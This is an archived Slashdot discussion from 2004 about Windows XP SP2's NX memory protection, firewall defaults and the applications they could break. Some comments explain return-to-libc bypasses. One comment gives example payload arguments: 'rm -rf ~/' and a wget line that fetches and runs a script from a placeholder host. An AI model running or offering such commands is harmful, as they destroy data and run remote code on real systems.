Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Windows XP SP2 Could Break Some Applications

Posted by CowboyNeal on Sat Mar 06, 2004 09:23 AM
from the they-were-cruft-anyway dept.
Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."
This discussion has been archived. No new comments can be posted.
Display Options Threshold:
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
(1) | 2
  • Uh oh (Score:3, Funny)

    by Bishop, Martin (695163) on Saturday March 06 2004, @09:24AM (#8484476)
    "the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.'"

    That's just about every application in Windows XP
    • Re:Uh oh by pergamon (Score:2) Saturday March 06 2004, @09:53AM
      • Re:Uh oh by Guppy06 (Score:2) Saturday March 06 2004, @06:30PM
        • Re:Uh oh by Guppy06 (Score:1) Monday March 08 2004, @08:26AM
          • Re:Uh oh by Slider451 (Score:2) Monday March 08 2004, @09:07AM
      • Re:Uh oh by Enahs (Score:2) Saturday March 06 2004, @09:30PM
      • 1 reply beneath your current threshold.
    • Re:Uh oh (Score:4, Insightful)

      by Froug (710553) on Saturday March 06 2004, @10:03AM (#8484662)
      You don't realize how true this is after the W2K source leak. Microsoft has to take drastic measures if they are to stem the flood of exploits.

      Making sure nothing can buffer overrun to execute with even user privileges is a neccessity now that countless local holes are known (Overflow on loading a bitmap? How in the hell did they manage to screw that up?).
      [ Parent ]
      • Re:Uh oh (Score:5, Informative)

        by julesh (229690) on Saturday March 06 2004, @10:12AM (#8484700)
        Are you kidding? You have seen the format of a bitmap, haven't you? It's a seriously screwed up format.

        I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.

        [ Parent ]
        • Re:Uh oh by Anonymous Coward (Score:1) Saturday March 06 2004, @10:49AM
        • Re:Uh oh (Score:4, Insightful)

          by Froug (710553) on Saturday March 06 2004, @11:12AM (#8485021)
          I've seen the format. I've seen worse, and bmp is hardly bad enough to mess up an implimentation for.

          I don't feel it's harsh at all to criticise over this. The Apache Group should also be embarassed for the same.
          (what, you assumed I'm yet another anti-MS/pro-OSS zealot?)

          Integer overflows are easily avoided, and the very fact that they crop up so often is the reason programmers keep such a sharp eye out for them (at least where I work, anyway).
          [ Parent ]
          • Re:Uh oh by dnoyeb (Score:3) Saturday March 06 2004, @01:24PM
            • Re:Uh oh by HFXPro (Score:1) Saturday March 06 2004, @02:31PM
          • 2 replies beneath your current threshold.
        • Re:Uh oh by js3 (Score:1) Saturday March 06 2004, @11:13AM
        • Re:Uh oh by HiThere (Score:2) Saturday March 06 2004, @12:01PM
        • Re:compiler makers take note! by HFXPro (Score:2) Saturday March 06 2004, @02:23PM
        • Re:Uh oh by zero_offset (Score:2) Monday March 08 2004, @06:29AM
          • Re:Uh oh by sylvandb (Score:1) Monday March 08 2004, @08:20PM
            • Re:Uh oh by zero_offset (Score:2) Monday March 08 2004, @09:26PM
        • 2 replies beneath your current threshold.
      • Re:Uh oh by Anonymous Coward (Score:1) Saturday March 06 2004, @11:18AM
        • 1 reply beneath your current threshold.
      • 4 replies beneath your current threshold.
    • Re:Uh oh (Score:5, Interesting)

      by FuzzyBad-Mofo (184327) <fuzzybadNO@SPAMgmail.com> on Saturday March 06 2004, @10:06AM (#8484673)
      (Last Journal: Friday March 09 2007, @01:10PM)

      From the developer's guide [microsoft.com]. Emphasis mine.

      The security technologies included with Service Pack 2 will allow for better protection against network-based attacks.. Windows Firewall is now turned on by default and all ports are closed except when they are in use.

      I hope their firewall doesn't open ports automatically, or it's nothing more than swiss cheese.

      [ Parent ]
      • Re:Uh oh (Score:4, Interesting)

        by DrSkwid (118965) on Saturday March 06 2004, @10:34AM (#8484812)
        (http://www.milksucks.com/ | Last Journal: Monday September 15 2003, @12:30PM)

        hehe

        I also like :

        Work continues with microprocessor vendors to help Windows support hardware-enforced "no execute" (NX) on microprocessors that support the feature. This feature allows the CPU to enforce the separation of application code and data, preventing a component from executing program code that a worm or virus inserted into a portion of memory marked for data only.

        So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

        Apparently MS hasn't learned the ancient ninja technique of heap redirection or return-to-lib.

        So new hardware security features will lead to *more* exploits!

        [ Parent ]
        • Re:Uh oh (Score:5, Informative)

          by lowe0 (136140) on Saturday March 06 2004, @11:18AM (#8485061)
          (http://icdweb.cc.purdue.edu/~klowe1/)
          Nope. If the NX flag catches your problem, it won't let it slide - it'll refuse to run that segment of code. So instead of a buffer overflow you can't see, now you'll have an exception that's a lot more visible, and a lot less dangerous if it slips by QA.
          [ Parent ]
          • Re:Uh oh (Score:4, Interesting)

            by dildog (128835) on Saturday March 06 2004, @12:42PM (#8485541)
            (http://www.noctem.org/)
            I think you missed the point. This is fundamentally similar to 'stackguard' and has been circumvented for some time using the following technique: (and others, mind you)

            When you overwrite the stack pointer, you don't have to point to code that's on the stack.

            For example, I can overflow with a 'command-line string' on the stack, and have the overwritten stack pointer point to the address of a library function, such as 'system()', or something, and then it won't be executing any code from the stack, just taking arguments from the stack like usual.

            This can't be blocked with a conventional non-executable stack.
            [ Parent ]
            • Re:Uh oh by dildog (Score:2) Saturday March 06 2004, @12:50PM
          • Re:Uh oh by timmy0tool (Score:1) Saturday March 06 2004, @05:10PM
          • Re:Uh oh by Spy Hunter (Score:1) Saturday March 06 2004, @11:17PM
          • 1 reply beneath your current threshold.
        • Re:Uh oh (Score:5, Insightful)

          by pavon (30274) on Saturday March 06 2004, @12:51PM (#8485592)
          So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

          Give me a break. You might as well say that we should get rid of memory protection and preemptive multitasking, because having them makes the programmers lazy, thinking the OS will catch their errors.

          The NX feature is very good for security and stability. All people including programmers make mistakes, and if you design your security policy on the basis that no one will ever make a mistake you are bound for trouble. The only sensible approach is to have multiple layers where mistakes in one will be caught in the next and prevented from becoming a bigger problem than it should.

          If the OS+hardware completely disallow you from writing to code memory, or executing application memory, then any attempts to do so will be killed on the spot and the blame will be placed squarely on your application. The user will know that your program screwed up (or was being malicious) instead of blaming it on windows. So not only will this close off an entire class of exploits, it will provide incentive for programmers to do a better job!
          [ Parent ]
          • Re:Uh oh (Score:4, Informative)

            by Anonymous Coward on Saturday March 06 2004, @02:29PM (#8486247)
            "The NX feature is very good for security and stability."

            NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.

            Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.
            [ Parent ]
            • Re:Uh oh by innocent_white_lamb (Score:2) Saturday March 06 2004, @03:38PM
              • Re:Uh oh by lyphorm (Score:2) Saturday March 06 2004, @05:07PM
          • 1 reply beneath your current threshold.
        • Re:Uh oh by johnharding (Score:1) Saturday March 06 2004, @10:57PM
          • Re:Uh oh by DrSkwid (Score:2) Sunday March 07 2004, @07:47AM
      • Re:Uh oh (Score:4, Informative)

        by spideyct (250045) on Saturday March 06 2004, @11:01AM (#8484968)
        If you keep reading, you see that they mean the application must support a stateful firewall.
        Ports will not accept incoming messages, unless an application has opened the port with an outgoing message (putting the port "in use").
        This means that server applications - which have to accept uninitiated communications - have to be put on a "whitelist" manually.

        It will not protect you against trojan horse applications which can initiate communications from your machine, but it will protect you against external port attacks which have helped some of the famous worms propogate.
        [ Parent ]
        • Re:Anyone? by osssmkatz (Score:1) Saturday March 06 2004, @01:23PM
          • Re:Anyone? by jerw134 (Score:2) Saturday March 06 2004, @07:40PM
        • Re:Uh oh by drinkypoo (Score:2) Saturday March 06 2004, @02:49PM
      • by Sycraft-fu (314770) on Saturday March 06 2004, @04:04PM (#8486921)
        This would be how any firewall worth it's shit works. Nothing is permitted incomming by default, unless there is a rule specifying otherwise. Now, when your computer goes and establishes a connection outgoing to another computer, that is permitted by default (unless there is a rule specifying otherwise).

        Question is, what happens when the data comes back? If your firewall just says "allow out, deny in" and simply evaluates each packet in a vaccuum, it would do no good. You could never establish communications since all inbound traffic would be dropped.

        So, what firewalls do is keep track of connections. You send a request to a webserver, it replies. The firewall, because it's stateful, knows that the reply is a response to your request, and permits it through. However, it's for that connection only. If the same server trys to poke at you, it'll get denied, while still allowing traffic for the web connection through.

        Thus a stateful firewall with two simple rules (allow out, deny in) can secure a desktop system pretty well. Anyone that pokes at the system will get nothing, but all requests that the user initiates will be allowed.

        The Windows XP firewall is a pretty simple one. By default, it does just this. You can also, if you like, specify inbound ports that are to be permitted at all times. So if you run an FTP server, you can specify that port 21 be permitted. However, in it's default config, it works great for most users. It's how I configure Kerio Personal Firewall for people, barring special needs.
        [ Parent ]
      • 2 replies beneath your current threshold.
    • Re:Uh oh (Score:5, Funny)

      by Nimloth (704789) on Saturday March 06 2004, @10:18AM (#8484734)
      The upcoming Windows XP Service Pack 2 could break some 'unsecure applications'.

      Are we talking about Windows XP SP1?

      [ Parent ]
      • Re:Uh oh by gareth6889 (Score:1) Saturday March 06 2004, @07:34PM
        • 1 reply beneath your current threshold.
      • 1 reply beneath your current threshold.
    • Bang the DRM softly by HTH NE1 (Score:2) Sunday March 07 2004, @05:46PM
    • 4 replies beneath your current threshold.
  • Great! (Score:5, Funny)

    by Lumpy (12016) on Saturday March 06 2004, @09:26AM (#8484480)
    (http://timgray.blogspot.com/)
    another reason for the company I work for to NOT migrate from Windows 2000.

    Thank you Microsoft!
    • Re:Great! (Score:5, Insightful)

      by wasabii (693236) on Saturday March 06 2004, @09:28AM (#8484494)
      Yeah. When the open source guys break insecure applicications at least they get fixed in minutes, or it just takes a recompile. :0

      How are you suppose to correct these apps? I bet some don't even have company's behind them anymore.
      [ Parent ]
      • Re:Great! (Score:5, Insightful)

        by mcx101 (724235) on Saturday March 06 2004, @09:41AM (#8484563)

        It's hardly new for Windows to drop backwards compatibility in areas. Many applications which are partly 16-bit and partly 32-bit won't run on Windows XP, but do run on Windows 95/98/ME for example

        Windows XP has application compatibility features which allow you to set the OS version to previous releases and provide compatibility with older registry layouts, for example. That kind of compatibility feature is unlikely to help with stricter security controls of course (unlesss there's an option simply to turn off the new security features).

        [ Parent ]
        • Re:Great! by darkain (Score:2) Saturday March 06 2004, @10:57AM
          • Re:Great! by drinkypoo (Score:2) Saturday March 06 2004, @02:51PM
            • Re:Great! by darkain (Score:1) Saturday March 06 2004, @03:02PM
              • Re:Great! by drinkypoo (Score:3) Saturday March 06 2004, @03:12PM
              • No, no, no... by Baggio (Score:1) Sunday March 07 2004, @12:35AM
          • Re:Great! by G-funk (Score:2) Saturday March 06 2004, @11:42PM
      • Re:Great! (Score:4, Insightful)

        by malchus842 (741252) <stephen@adamsemail.net> on Saturday March 06 2004, @09:46AM (#8484584)
        (http://adamsemail.net/)
        I've run into this many times. Or if the company exists, they have dropped support for the older version. And many times, the newer versions are not providing anything useful *except* support for the new OS. Not worth the upgrade price.

        With open source, I can nearly always manage the problem - recompile works most of the time, and if not, I can either fix it myself, or find someone who has or will fix it, either for free or for a reasonable fee. More and more of my clients are starting to see the value of Linux and open source applications, especially in the server area. And these are small to medium sized businesses who tend to be very conservative about how they spend their computing money.

        I even have customers asking about switching to Mac - something that hasn't happened in ages, if ever!
        [ Parent ]
        • 1 reply beneath your current threshold.
      • Re:Great! by LousyPhreak (Score:1) Saturday March 06 2004, @09:50AM
      • Re:Great! by korgull (Score:1) Saturday March 06 2004, @09:55AM
      • Re:Great! by Anonymous Coward (Score:1) Saturday March 06 2004, @10:40AM
    • Re:Great! by TobiasSodergren (Score:1) Saturday March 06 2004, @09:56AM
    • Re:Great! by js3 (Score:2) Saturday March 06 2004, @11:17AM
    • Re:Great! (Score:5, Insightful)

      by sketerpot (454020) <sketerpot.gmail@com> on Saturday March 06 2004, @11:20AM (#8485067)
      (http://sketerpot.freezope.org/)
      Let me get this straight: Microsoft is making XP more secure in a way that could break some programs (sort of like the grsecurity linux kernel patches break some programs), and you're against that? Sure, it would be nice if it was optional---but it's Microsoft! Doing something about security! Even if it means actually announcing that some programs may be broken!
      [ Parent ]
      • Re:Great! by fwarren (Score:2) Saturday March 06 2004, @02:12PM
        • Re:Great! by Krunch (Score:1) Saturday March 06 2004, @02:38PM
        • 1 reply beneath your current threshold.
      • Re:Great! by Lumpy (Score:1) Saturday March 06 2004, @08:35PM
      • 1 reply beneath your current threshold.
    • Re:Great! by ivan1011001 (Score:3) Saturday March 06 2004, @12:50PM
    • Are you kidding? by spitzak (Score:2) Saturday March 06 2004, @01:32PM
    • 2 replies beneath your current threshold.
  • Java? (Score:5, Interesting)

    by 0tim0 (181143) on Saturday March 06 2004, @09:27AM (#8484484)
    The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation.

    Is this supposed to mean that Java will stop working?

    --t

    • Re:Java? by WeeBull (Score:1) Saturday March 06 2004, @09:38AM
      • Re:Java? by julesh (Score:2) Saturday March 06 2004, @10:14AM
      • Re:Java? by 0tim0 (Score:2) Saturday March 06 2004, @10:39AM
      • Re:Java? (Score:4, Interesting)

        by smallpaul (65919) <paulNO@SPAMprescod.net> on Saturday March 06 2004, @10:57AM (#8484951)
        How do you think you do compilation without code generation? Compilation is the conversion of code in one format (in this case Java bytecodes) to code in another (e.g. x86 assembly).
        [ Parent ]
        • Re:Java? by Threni (Score:1) Sunday March 07 2004, @08:47AM
        • 1 reply beneath your current threshold.
      • 1 reply beneath your current threshold.
    • Re:Java? (Score:4, Funny)

      by LousyPhreak (550591) <lousyphreakNO@SPAMgmx.at> on Saturday March 06 2004, @09:42AM (#8484567)
      no microsoft would never do this, they would be sued for doing so, you know anticompetitive business tactics and the like...

      but wait... there was something...
      [ Parent ]
    • How could you tell? by ostiguy (Score:2) Saturday March 06 2004, @09:46AM
    • Re:Java? by HiThere (Score:2) Saturday March 06 2004, @12:03PM
    • Re:Java? (Score:5, Informative)

      by DotNetGuru (704728) on Saturday March 06 2004, @12:09PM (#8485346)
      If Java is doing the right thing it will not be broken.

      The right thing to do is to call VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &prevProtect);

      That will mark the memory pages as being read/write/execute (where as previously they were only read/write). People should have been doing this before anyway (as the pages were never guaranteed to be executable), and if they didn't it's their bug.

      I'm betting that Sun can download the beta and test Java on XP SP2 to make sure they're compliant though. Hell, Microsoft could probably even do some compatibility testing for them and enable a compatibility layer for Java. But then again Sun might sue them for that. MS probably just wants to stay away :).
      [ Parent ]
      • Re:Java? by tonywestonuk (Score:2) Saturday March 06 2004, @02:21PM
        • Re:Java? (Score:5, Informative)

          by VertigoAce (257771) on Saturday March 06 2004, @02:51PM (#8486376)
          Buffer overflows don't overflow into program code (the stack grows toward program code, so a buffer goes away from program code). The simplest buffer overflow would put code onto the stack and overwrite the return address of a function with an address of the code on the stack. This only works if the stack is executable. It sounds like they'll be making the stack for data only, breaking some applications. This does not stop another kind of overflow where you put system call arguments on the stack and alter the return address to start executing a system/library call.
          [ Parent ]
        • Re:Java? by zenyu (Score:3) Saturday March 06 2004, @03:17PM
      • Re:Java? by Old Wolf (Score:2) Saturday March 06 2004, @06:28PM
        • Re:Java? by DotNetGuru (Score:1) Saturday March 06 2004, @07:00PM
    • Python Too? by BroncoInCalifornia (Score:2) Saturday March 06 2004, @12:58PM
    • Re:Java? by The Vulture (Score:2) Saturday March 06 2004, @01:18PM
      • Re:Java? by Krunch (Score:1) Saturday March 06 2004, @01:54PM
      • Re:Java? by pod (Score:2) Saturday March 06 2004, @02:17PM
    • Re:Java? by BoneFlower (Score:2) Saturday March 06 2004, @03:49PM
    • Re:Java? by jarich (Score:1) Saturday March 06 2004, @04:43PM
    • Java vs. C (again) (Score:4, Interesting)

      by Ratbert42 (452340) on Saturday March 06 2004, @03:33PM (#8486694)
      Try a well written app like azureus...

      While the SWT is pretty, it eats 120 megs of memory on my machine and a significant amount of CPU. The old standard BT client (whatever it's called) is more like 15 megs and much lighter on the CPU.

      Actually, at work recently we've had a bit of a shootout among various XML DOMs. Our C++ code runs about 4 times slower than (my) tighter C code. But the amazing thing is that some Java code, with a highly optimizing JVM, has beaten my C by about 50%. Of course, we aren't counting startup time, but still, that sucker is fast. We think it comes down to the JVM being optimized for the P4 while the best I can do with Microsoft Visual C++ is optimizing for the Pentium Pro.

      [ Parent ]
    • 1 reply beneath your current threshold.
  • Lets not bag on MS by Anonymous Coward (Score:1) Saturday March 06 2004, @09:27AM
    • Re:Lets not bag on MS by LousyPhreak (Score:3) Saturday March 06 2004, @09:40AM
    • This may affect Linux as well as MS (Score:5, Insightful)

      by Azureflare (645778) on Saturday March 06 2004, @09:41AM (#8484565)
      But unfortunately with many apps that run on Windows, you don't have the source code for those apps for a recompile if they do get broken. Sorry Anonymous Coward, we have to bag MS on this one. They are going to cause a lot of grief by doing this, and a lot of companies will not upgrade to SP2 to avoid that grief. Anyway I think people should stay with windows 2000 as an operating system of choice in a business type environment.

      In the past, MS has broken Windows 95/98 applications, but Windows XP/2000 had compatibility modes available for the older applications. If it is as they say, and newer apps will be intentionally broken without any way of going into a compatibility mode, this will be bad.

      I have difficulty believing MS would not include some kind of compatibility mode, however. It'll be interesting to see what they do. It won't really affect me though, I don't use XP and can't stand that OS (Windows 2000 is still my favorite Microsoft OS; Windows XP is just 2000 with some pretty GUI changes and some compatibility fixes.)

      [ Parent ]
      • Re:This may affect Linux as well as MS by GoofyBoy (Score:2) Saturday March 06 2004, @10:03AM
      • Imagine the other headline (Score:5, Insightful)

        by spideyct (250045) on Saturday March 06 2004, @10:43AM (#8484862)
        You have to bag on MS for this?
        Ok, imagine this alternate Slashdot headline:

        MS sales buries secure XP
        Itoldyouso writes - A leaked memo indicates that the Microsoft developers created a much more secure version of their flagship operating system. However, because it would have caused problems with a small number of applications that were designed insecurely, the Sales & Marketing teams vetoed the new secure version, in an attempt to avoid a customer backlash. It is now official - Microsoft's commitment to trustworthy computing is a complete joke.

        I have a feeling that post would rile a lot more people here.
        [ Parent ]
        • No kidding! by Chris Burke (Score:3) Saturday March 06 2004, @11:02AM
        • Not sure what "bagged" means... by Azureflare (Score:3) Saturday March 06 2004, @11:19AM
        • Re:Imagine the other headline (Score:5, Insightful)

          by drooling-dog (189103) on Saturday March 06 2004, @12:51PM (#8485597)
          (http://www.cobios.org/john/gallery/)
          You're probably right about the hypothetical headline, but the problem - as others here have pointed out - is a fundamental one with closed-source software. Whenever compatibility is broken, users are forced to upgrade apps to restore compatibility with the OS. Since users are unable to do this themselves, vendors can (and do) exploit it as a revenue opportunity. It is also a drag on the development of the OS, because Microsoft is forced to kludge back-compatibility in order to make new Windows versions acceptable to customers with irreplaceable legacy software.

          In the Open Source world you can just recompile, or download new binaries from someone who's done it for you. I've been running Linux for something like 10 years now. Upgrading has never slowed me down for more than a day or so, and I have never lost the use of any software that I needed or wanted to continue using.

          [ Parent ]
      • Slashdot's double-standards by Overly Critical Guy (Score:2) Saturday March 06 2004, @03:05PM
      • Re:This may affect Linux as well as MS by Glendale2x (Score:2) Saturday March 06 2004, @03:24PM
      • 1 reply beneath your current threshold.
    • Re:Lets not bag on MS (Score:5, Insightful)

      by dattaway (3088) on Saturday March 06 2004, @09:44AM (#8484574)
      (http://dattaway.us/)
      Upgrading to 2.6 was not a forced security upgrade, but simply an option. Patching security with linux is a quick patch and restarting the affected service.

      Does this Service Pack allow itemized upgrading? A reboot? Uninstalling broken patches? More than one reboot?
      [ Parent ]
    • Re:Lets not bag on MS (Score:5, Insightful)

      by TRACK-YOUR-POSITION (553878) on Saturday March 06 2004, @09:54AM (#8484621)
      I don't see how Visual Studio .net and .Net Framework users can be considered a small minority. The thing is, Microsoft releasing a service pack that breaks everything is very different from a linux distribution breaking when the use decides to try to compile and install new software completely on their own--Microsoft is the equivalent of the whole open source community of programmers and distributors combined, so a new service pack isn't analagous to a new major release of the Linux kernel, it's more like a new minor release of a Linux distribution. And I'm not sure it's even like that, since a service pack upgrade is supposed to be a lot easier to do then installing a Linux distribution release--so it's more like an distro-released security fix. Which isn't supposed to break everything. I don't know anything about the specifics, but there are memory-protecting kernel patches out there for linux, like PAX and grsecurity and probably a bunch of others. You have to disable them when running Java and X, so I imagine Java will be effected by this update.
      [ Parent ]
      • Re:Lets not bag on MS (Score:4, Informative)

        by Anonymous Coward on Saturday March 06 2004, @10:23AM (#8484765)
        Windows .NET Framework applications do not currently mark generated code with Execute permissions. XPSP2 recognizes the current, shipped versions of .NET Framework and runs them with NX off. Therefore existing .NET applications will continue to run. Microsoft is enhancing the .NET Framework to take advantage of NX and will ship service packs for each of the shipped versions in the XP SP2 RTM timeframe. The .NET Framework "Whidbey" will innately support NX.
        [ Parent ]
    • Re:Lets not bag on MS by mangu (Score:2) Saturday March 06 2004, @10:15AM
    • Re:Lets not bag on MS by The-Perl-CD-Bookshel (Score:2) Saturday March 06 2004, @10:28AM
    • Re:Lets not bag on MS by ortholattice (Score:2) Saturday March 06 2004, @10:45AM
    • Re:Lets not bag on MS by TheRealMindChild (Score:2) Saturday March 06 2004, @12:14PM
    • 2 replies beneath your current threshold.
  • Memory Protection? by Anonymous Coward (Score:2) Saturday March 06 2004, @09:27AM
  • The "unsecure" list (Score:5, Funny)

    by acostin (229653) on Saturday March 06 2004, @09:29AM (#8484496)
    (http://www.interaktonline.com/)
    Open Office, Mozilla, Java based applications, Apache with PHP, and other applications written by a bunch of programmers without a management control :)
  • some funny quotes (Score:3, Interesting)

    by stonebeat.org (562495) on Saturday March 06 2004, @09:32AM (#8484513)
    (http://validate.sf.net/)
    From the article @ Windows XP SP2 could break existing application [computerworld.com]
    according to Tony Goodhew, a product manager in Microsoft's developer group:

    "SP2 will break some applications because they are insecure," he said. "Security is important, and it is not just a Microsoft problem but a developer community problem. We all need to work together to create a more secure computing environment."

    "It doesn't really matter how long it is going to take you to do the work; security is an important issue, and developers need to start doing that work now," Goodhew said.
    • Re:some funny quotes by khakipuce (Score:1) Saturday March 06 2004, @10:13AM
    • Re:some funny quotes (Score:5, Insightful)

      by julesh (229690) on Saturday March 06 2004, @10:17AM (#8484731)
      Which is what happens when you let a product manager talk about technical issues.

      There applications that will break are _not_ (necessarily) insecure. They just behave in a way that makes it impossible for Windows to tell isn't somebody trying to execute some code in an overflowed buffer.

      Typical MS press relations, blame everyone else.

      [ Parent ]
    • 1 reply beneath your current threshold.
  • "Insecure Applications"? by Nobody You Know (Score:2) Saturday March 06 2004, @09:32AM
    • Re:"Insecure Applications"? (Score:4, Interesting)

      by Slack3r78 (596506) on Saturday March 06 2004, @11:04AM (#8484989)
      (http://www.chaotic-design.com/)
      Look at what you just wrote. Service packs fix the operating system. What I see this as meaning is it will break applications that were written in an insecure manner, most likely using undocumented APIs.

      In the past, when MS has updated the OS, they've often worked kludges in to make sure they don't break applications that were doing things that they weren't supposed to be doing. With the new focus on security, Microsoft has likely put an end to such kludges and things are going to break. I'm not surprised, and it doesn't really bother me.

      Really, most of the posts I'm seeing are giving Microsoft a hard time about this, but how is it any different from the kernel developers refusing to freeze a driver API, which in turn occassionally causes drivers for some hardware to break? It happens, and it's really out of Microsoft's hands if they're focused on building a more secure OS than what they have now. I'm sure Microsoft's own products will be patched at the same time SP2 is released, and so long as they provide a changelist which would allow developers to fix apps that might break, what's the problem?
      [ Parent ]
    • Re:"Insecure Applications"? by thebes (Score:1) Saturday March 06 2004, @01:08PM
    • 1 reply beneath your current threshold.
  • Better security is good (Score:5, Informative)

    by hattig (47930) on Saturday March 06 2004, @09:32AM (#8484515)
    (Last Journal: Tuesday May 04 2004, @09:18PM)
    Sounds like an issue with NX bit implementation on A64 ... this protects memory that is tagged as data from being executed (which protects against buffer overrun exploits, which are 50% of the MS security issues). This would affect .NET, Java, etc. However I'm sure that there is a way to fix this for these types of application!

    Regardless, enforcing decent security like this is good.

    Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!
    • Re:Better security is good by julesh (Score:3) Saturday March 06 2004, @10:08AM
    • Re:Better security is good (Score:5, Informative)

      by Helvick (657730) on Saturday March 06 2004, @10:37AM (#8484829)
      (http://helvick.blogspot.com/)
      The NX support is only one of the major changes and it will only affect AMD64 and Itanic for now. The lack of NX in Prescott's "IA32e" extensions is listed here [iu.edu] by an intel source and discussed in detail in this thread on Ace's Hardware [aceshardware.com]. This unofficial comment [aceshardware.com] in that thread might lead a true conspiracy theorist to conclude that there might be widespread issues with turning on NX support right now. Reading MS's Developer overview for SP2 here [microsoft.com] also gives the impression that NX related problems will not be easy to workaround, at least for non open source apps\drivers. The fact that AMD haven't been making any effort to try to market the NX capabilities in AMD64 outside of the enthusiast market could be explained if there are major issues with SP2.

      The RPC and DCOM changes are much more likely to have wider impacts - especially for enterprise applications.

      The ICF changes are fairly light (unfortunately in my view) and not that hard for end users\admins to modify so even if there are issues workarounds will be fairly simple.

      [ Parent ]
    • Re:Better security is good by rabidcow (Score:2) Saturday March 06 2004, @12:24PM
    • Re:Better security is good by SLi (Score:2) Saturday March 06 2004, @12:42PM
    • Re:Better security is good by Foolhardy (Score:2) Saturday March 06 2004, @12:42PM
    • Re:Better security is good by hattig (Score:1) Saturday March 06 2004, @01:07PM
    • 1 reply beneath your current threshold.
  • Here's more info on what SP2 is about (Score:4, Interesting)

    by ClippyHater (638515) on Saturday March 06 2004, @09:32AM (#8484516)
    (Last Journal: Thursday August 25 2005, @10:23PM)
    Microsoft has a nice bit of info [microsoft.com] for developers. All in all, I'm pretty impressed with the work and thought they've put into this SP--should make the world just a little bit safer for computing (of course, only for the folk running XP, the rest of their offerings don't have any of this as far as I know).
  • More work.....sigh. (Score:5, Informative)

    by wongqc (555152) on Saturday March 06 2004, @09:33AM (#8484523)
    Without doubt, countless QA software testers & coders will cry out in anguish over this.....more work for them to do. But if they want to sell their software on the large Windows desktop market....They have little choice in the matter.

    For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...

    • Duh??? (Score:5, Funny)

      by Tim Ward (514198) on Saturday March 06 2004, @09:42AM (#8484568)
      (http://www.brettward.co.uk)
      QA software testers & coders will cry out in anguish over this.....more work for them to do

      I don't think the will "cry out in anguish" if they've got any sense. In today's market they'll jump for joy, knowing that their jobs are safe for another few months.
      [ Parent ]
      • Re:Duh??? by ozric99 (Score:1) Saturday March 06 2004, @10:11AM
      • Re:Duh??? by Tim Ward (Score:2) Saturday March 06 2004, @12:42PM
      • Re:Duh??? by Tenareth (Score:2) Saturday March 06 2004, @10:06PM
  • by Kalroth (696782) on Saturday March 06 2004, @09:34AM (#8484526)
    I really like the direction Microsoft is heading.
    Granted it was needed as their reputation, in regards of security, has always been low to none.

    I really hope this will rid Windows XP of future remote exploits, since that's still the biggest threat Windows is facing.
    Having said that, this wont fix all security problems, there will always be the luser that executes whatever is mailed to him/her, but it's still a step in the right direction.
  • The blind leading... (Score:5, Funny)

    by thestarz (719386) on Saturday March 06 2004, @09:35AM (#8484534)
    Fortunately for us, they are offering a course to guide the unsecure masses.

    The blind leading the seeing?
  • Where do you get the Beta (Score:5, Interesting)

    by mpn14tech (716482) on Saturday March 06 2004, @09:39AM (#8484550)
    I read an article about this yesterday and wanted to test it against some apps where I work, but could not find the download for it on the Microsoft website. Do you have to have an MSDN subscription to get it. Seems rather rather screwy that if I want to make sure my app works with Microsofts OS I pay to them an extra $500 for the privilege. Maybe this is the new money making model. Profits are down this quarter, lets go break some code and charge them for how to fix it.
  • 'Tis a gentle touch of irony... (Score:5, Insightful)

    by jkbuha (713400) on Saturday March 06 2004, @09:40AM (#8484553)
    ...when one realises that most of this effort is fruit of a tiny 5kb worm which actually had asked mr gates to repair his software... I'm still working on my sig
  • I like it (Score:5, Insightful)

    by SlightOverdose (689181) on Saturday March 06 2004, @09:41AM (#8484558)
    First, they decided to postpone Longhorn "Until it's done", rather than releasing a shoddy product early.

    Second, they've gone so far as to break application compatibility in order to clean up a number of deeply embedded security holes in Windows.

    Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"
    • Re:I like it (Score:5, Insightful)

      by AndroidCat (229562) on Saturday March 06 2004, @10:02AM (#8484660)
      (http://home.primus.ca/~ronsharp/tororg.html)
      Hopefully they're cracking down on all the apps that have to run as admin. If all those users who open up strange attachments didn't have authority to play with the %windows% directories, there'd be a lot less 0wn3d boxes on the net.

      I bet that most of the things broken should have been fixed back in the NT5 guidelines pre-Win2000.

      [ Parent ]
    • Re:I like it by naelurec (Score:3) Saturday March 06 2004, @10:07AM
      • Re:I like it by SlightOverdose (Score:2) Saturday March 06 2004, @10:18AM
    • Re:I like it (Score:5, Insightful)

      by Spoing (152917) on Saturday March 06 2004, @10:29AM (#8484788)
      (http://slashdot.org/)
      1. Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"

      While I agree, I'm becomming a strong advocate for looking at the world from the point of base motivations.

      Microsoft is primarily motivated to keep stock prices going up -- or at a minimum -- stable.

      If these changes become too painful for those who don't care about security, it will cause a decrease in the deployment of Windows XP and XP-specific programs.

      If this happens -- or may happen -- Microsoft will do something to make people happy...even if that means back stepping.

